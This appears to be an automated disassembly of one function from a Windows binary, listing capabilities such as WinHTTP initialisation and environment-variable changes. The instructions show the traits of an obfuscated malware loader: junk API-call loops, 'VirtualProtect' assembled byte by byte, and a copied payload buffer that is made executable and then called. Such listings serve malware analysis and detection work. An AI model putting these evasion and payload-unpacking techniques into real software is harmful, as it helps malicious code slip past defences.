Function at 0x401490
Capabilities:
Get disk size
Get file attributes
Initialize winhttp library
Set environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40df38
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x838
push ebx
push esi
xor ebx, ebx
push edi
mov dword [ebp - 0x14], ebx
mov edi, dword [sym.imp.GDI32.dll_GetBkMode]
xor esi, esi
mov edi, edi
cmp esi, 0xfa62c8f
jge 0x4014d5
push ebx
call edi
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetCharWidth32A]
cmp esi, 0x207142
jg 0x4014e6
inc esi
cmp esi, 0x67d12
jl 0x4014c0
mov eax, dword [0x24592dc]
cmp eax, 0x93
jne 0x40159c
mov esi, dword [sym.imp.GDI32.dll_CreateDCW]
push ebx
push ebx
push ebx
push ebx
call esi
push ebx
lea eax, [ebp - 0x440]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push ebx
push ebx
push ebx
push ebx
call esi
xor ecx, ecx
lock bts dword [ecx], 0
push ebx
push str.tihofozawehuluberilepesuwezawudadelanixoboxovihoxipusoy
push str.vokejawufikuvifofefahosinipibuhucolufacedagixiyidiligokososijuvoheyepusamudefexepiwagiga
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
push ebx
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push str.gulepulawoboxejobukade
mov dword [ebp - 0x28], 0xf
mov dword [ebp - 0x2c], ebx
mov byte [ebp - 0x3c], bl
call fcn.00403280
add esp, 4
push eax
push str.gulepulawoboxejobukade
lea ecx, [ebp - 0x3c]
call fcn.004020b0
push ebx
mov dword [ebp - 4], ebx
call fcn.00402c44
add esp, 4
push ebx
call fcn.0040357a
add esp, 4
push ebx
push ebx
call fcn.004035a9
add esp, 8
push ebx
call fcn.00403a5b
mov ecx, dword [0x443b44]
add eax, 0x1134b
push eax
push ebx
mov dword [0x245a118], ecx
mov dword [0x24592dc], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.kernel32.dll
mov dword [0x2458d68], eax
call edi
push 0x446be8
mov dl, 0x72
push eax
mov dword [0x2458d6c], eax
mov word [0x446bf1], 0x746f
mov byte [0x446bf0], dl
mov dword [0x446bf3], 0x746365
mov dword [0x446be8], 0x74726956
mov dword [0x446bec], 0x506c6175
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x2458d60], eax
mov dword [ebp - 0x10], 0x20
add dword [ebp - 0x10], 0x20
mov eax, dword [ebp - 0x10]
mov ecx, dword [0x24592dc]
lea edx, [ebp - 0x14]
push edx
mov edx, dword [0x2458d68]
push eax
push ecx
push edx
call dword [0x2458d60]
mov esi, 0x1692e
lea ecx, [ecx]
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec esi
jne 0x401640
cmp dword [0x24592dc], ebx
jbe 0x4016c0
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
jmp 0x401660
mov eax, dword [0x245a118]
mov cl, byte [eax + esi + 0x1134b]
mov edx, dword [0x2458d68]
mov byte [edx + esi], cl
cmp dword [0x24592dc], 0x490
jne 0x4016b5
push 0
push 0
lea eax, [ebp - 0x20]
push eax
call ebx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push 0
call edi
lea ecx, [ebp - 0x18]
push ecx
push 0
lea edx, [ebp - 0x34]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
call dword [sym.imp.KERNEL32.dll_DebugBreak]
inc esi
cmp esi, dword [0x24592dc]
jb 0x401660
xor ebx, ebx
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
xor esi, esi
mov eax, dword [0x24592dc]
add eax, esi
cmp eax, 0x8d
jne 0x401707
push 0
lea ecx, [ebp - 0x440]
push ecx
push 0
push 0
push 0
push 0
call edi
push str.royakamexisezepucivapah
push str.lulugumiwitojijeponuyo
call ebx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventA]
inc esi
cmp esi, 0x38681
jl 0x4016ce
call fcn.00401360
xor edi, edi
xor esi, esi
lea esp, [esp]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x40173e
mov dword [ebp - 0x10], edi
add dword [ebp - 0x10], 0x117a5
mov edx, dword [ebp - 0x10]
add dword [0x2458d68], edx
inc esi
cmp esi, 0x674bd
jl 0x401720
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
mov ebx, dword [sym.imp.KERNEL32.dll_LocalFlags]
mov dword [ebp - 0x14], 0x7b
cmp dword [0x24592dc], 0x86
jne 0x4017a8
push 0
call esi
push 0
lea eax, [ebp - 0x840]
push eax
push 0x43e748
call edi
push 0
call ebx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_RaiseException]
cmp dword [0x24592dc], 0xf
jne 0x4017bd
push 0
lea ecx, [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
dec dword [ebp - 0x14]
jne 0x401760
mov al, 0x6d
push 0x446be8
mov dword [0x446bf0], 0x6c6c64
mov word [0x446bee], 0x2e32
mov byte [0x446be8], al
mov byte [0x446bed], 0x33
mov dword [0x446be9], 0x676d6973
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x2458d68]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret